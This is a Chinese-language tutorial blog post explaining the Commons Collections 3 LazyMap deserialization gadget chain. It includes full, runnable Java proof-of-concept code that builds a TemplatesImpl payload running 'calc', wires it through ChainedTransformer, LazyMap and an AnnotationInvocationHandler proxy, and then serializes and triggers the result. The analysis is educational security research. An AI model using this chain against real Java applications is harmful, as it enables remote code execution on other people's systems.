赞
踩
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。
其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。
下图为LazyMap中的get方法
前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
public class payload01 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xxxx"); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chain = new ChainedTransformer(transformers);
利用LazyMap的decorate方法,把chain赋值给factory
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get
所以利用反射构造方法传入this.memberValues=LazyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
再使用动态代理触发AnnotationInvocationHandler的invoke方法
复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
public class payload01 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xxxx"); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map decorate = LazyMap.decorate(innerMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true); InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate); Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1); InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(anno2); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。